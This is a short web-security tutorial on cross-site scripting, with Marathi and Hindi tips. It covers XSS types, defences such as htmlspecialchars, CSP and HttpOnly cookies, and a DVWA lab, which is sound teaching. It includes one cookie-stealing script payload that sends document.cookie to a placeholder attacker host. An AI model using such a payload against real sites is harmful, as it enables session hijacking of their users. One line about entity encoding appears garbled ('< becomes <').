29.3 A03 Injection: Cross-Site Scripting (XSS)

By Ravindra Bagale Last updated: 27 September 2026

XSS tevha hoto jevha app user cha input tasach web page var dakhavto, ani to input madhe JavaScript asla tar to victim chya browser madhe chalto.

Type	Where the script lives	Example
Stored XSS	Saved in the database, shown to everyone	A comment containing `<script>`
Reflected XSS	In a URL/parameter, reflected back	A search box echoing your input
DOM XSS	In client-side JavaScript	JS writing `location.hash` to the page

Attack example: a comment box that saves <script>document.location='http://attacker/?c='+document.cookie</script> steals every viewer's session cookie.

The fixes:

Output encoding: escape data when showing it – in PHP, htmlspecialchars($text, ENT_QUOTES). < becomes <, so the browser shows it, does not run it.
Input validation: reject or clean unexpected characters.
Content Security Policy (CSP): a header that blocks inline/unknown scripts.
HttpOnly cookies: so JavaScript cannot read the session cookie even if XSS happens.

echo htmlspecialchars($comment, ENT_QUOTES, 'UTF-8');   // safe output
// set secure cookies
session_set_cookie_params(['httponly'=>true, 'secure'=>true, 'samesite'=>'Lax']);

Ravindra Bagale's Tip

The core mantra of XSS: "Never trust input, and always encode output." In the Reels app, always use htmlspecialchars when displaying users' captions/comments. One forgotten echo puts the whole app at risk.

Ravindra Bagale's Tip – मराठी

XSS चा मूळ मंत्र: "input वर कधीही विश्वास ठेवू नका, आणि output नेहमी encode करा." Reels app मध्ये user चे captions/comments दाखवताना htmlspecialchars वापराच. एक विसरलेला echo पूर्ण app धोक्यात आणतो.

Ravindra Bagale's Tip – हिंदी

XSS का मूल मंत्र: "input पर कभी भरोसा मत करो, और output हमेशा encode करो." Reels app में user के captions/comments दिखाते समय htmlspecialchars ज़रूर इस्तेमाल करो. एक भूला हुआ echo पूरे app को खतरे में डाल देता है.

Lab

In DVWA (XSS Stored, low), post <script>alert(1)</script> and watch it run. Set security to high and see it neutralised. In your reels app, add htmlspecialchars to every place user text is displayed and confirm the script no longer runs.